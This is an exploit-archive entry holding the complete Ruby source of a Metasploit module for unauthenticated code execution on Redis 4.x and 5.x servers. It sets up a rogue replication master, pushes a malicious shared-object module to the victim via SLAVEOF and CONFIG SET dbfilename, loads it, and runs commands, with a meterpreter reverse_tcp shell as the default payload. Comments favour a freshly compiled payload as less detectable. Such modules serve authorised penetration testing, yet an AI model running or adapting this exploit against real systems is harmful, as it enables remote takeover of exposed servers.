Redis Unauthenticated Code Execution

2019.07.30
Credit: Green-m
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Auxiliary::Redis def initialize(info = {}) super(update_info(info, 'Name' => 'Redis Unauthenticated Code Execution', 'Description' => %q{ This module can be used to leverage the extension functionality added by Redis 4.x and 5.x to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis which called replication between master and slave. }, 'License' => MSF_LICENSE, 'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module ], 'References' => [ [ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'], [ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Automatic', {} ], ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'SRVPORT' => '6379' }, 'Privileged' => false, 'DisclosureDate' => 'Nov 13 2018', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ SERVICE_RESOURCE_LOSS], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ] }, )) register_options( [ Opt::RPORT(6379), OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true]) ] ) register_advanced_options( [ OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']), OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']), OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.']) ] ) deregister_options('URIPATH', 'THREADS', 'SSLCert') end # # Now tested on redis 4.x and 5.x # def check connect # they are only vulnerable if we can run the CONFIG command, so try that return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/ if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data report_redis(redis_version) end Exploit::CheckCode::Vulnerable ensure disconnect end def exploit if check_custom @module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8) @module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}" else @module_init_name = 'shell' @module_cmd = 'shell.exec' end if srvhost == '0.0.0.0' fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.') end # # Prepare for payload. # # 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable. # It's only worked on linux system. # # 2. Use compiled payload, it's avaiable on all OS, however more detectable. # if check_custom buf = create_payload generate_code_file(buf) compile_payload end connect # # Send the payload. # redis_command('SLAVEOF', srvhost, srvport.to_s) redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}") ::IO.select(nil, nil, nil, 2.0) # start the rogue server start_rogue_server # waiting for victim to receive the payload. Rex.sleep(1) redis_command('MODULE', 'LOAD', "./#{module_file}") redis_command('SLAVEOF', 'NO', 'ONE') # Trigger it. print_status('Sending command to trigger payload.') pull_the_trigger # Clean up Rex.sleep(2) register_file_for_cleanup("./#{module_file}") #redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb') #redis_command('MODULE', 'UNLOAD', "#{@module_init_name}") ensure disconnect end # # We pretend to be a real redis server, and then slave the victim. # def start_rogue_server socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport}) print_status("Listening on #{srvhost}:#{srvport}") rsock = socket.accept() vprint_status('Accepted a connection') # Start negotiation while true request = rsock.read(1024) vprint_status("in<<< #{request.inspect}") response = "" finish = false case when request.include?('PING') response = "+PONG\r\n" when request.include?('REPLCONF') response = "+OK\r\n" when request.include?('PSYNC') || request.include?('SYNC') response = "+FULLRESYNC #{'Z'*40} 1\r\n" response << "$#{payload_bin.length}\r\n" response << "#{payload_bin}\r\n" finish = true end if response.length < 200 vprint_status("out>>> #{response.inspect}") else vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}") end rsock.put(response) if finish print_status('Rogue server close...') rsock.close() socket.close() break end end end def pull_the_trigger if check_custom redis_command("#{@module_cmd}") else execute_cmdstager end end # # Parpare command stager for the pre-compiled payload. # And the command of module is hard-coded. # def execute_command(cmd, opts = {}) redis_command('shell.exec',"#{cmd.to_s}") rescue nil end # # Generate source code file of payload to be compiled dynamicly. # def generate_code_file(buf) template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb')) File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))} end def compile_payload make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile') vprint_status("Clean old files") vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|) vprint_status(%x|make -C #{File.dirname(make_file)} clean|) print_status('Compile redis module extension file') res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true| if res.include? 'true' print_good("Payload generated successfully! ") else print_error(res) fail_with(Failure::BadConfig, 'Check config of gcc compiler.') end end # # check the environment for compile payload to so file. # def check_env # check if linux return false unless %x|uname -s 2>/dev/null|.include? "Linux" # check if gcc installed return false unless %x|command -v gcc && echo true|.include? "true" # check if ld installed return false unless %x|command -v ld && echo true|.include? "true" true end def check_custom return @custom_payload if @custom_payload @custom_payload = false @custom_payload = true if check_env && datastore['CUSTOM'] @custom_payload end def module_file return @module_file if @module_file @module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so" end def create_payload p = payload.encoded Msf::Simple::Buffer.transform(p, 'c', 'buf') end def payload_bin return @payload_bin if @payload_bin if check_custom @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so')) else @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so')) end @payload_bin end end


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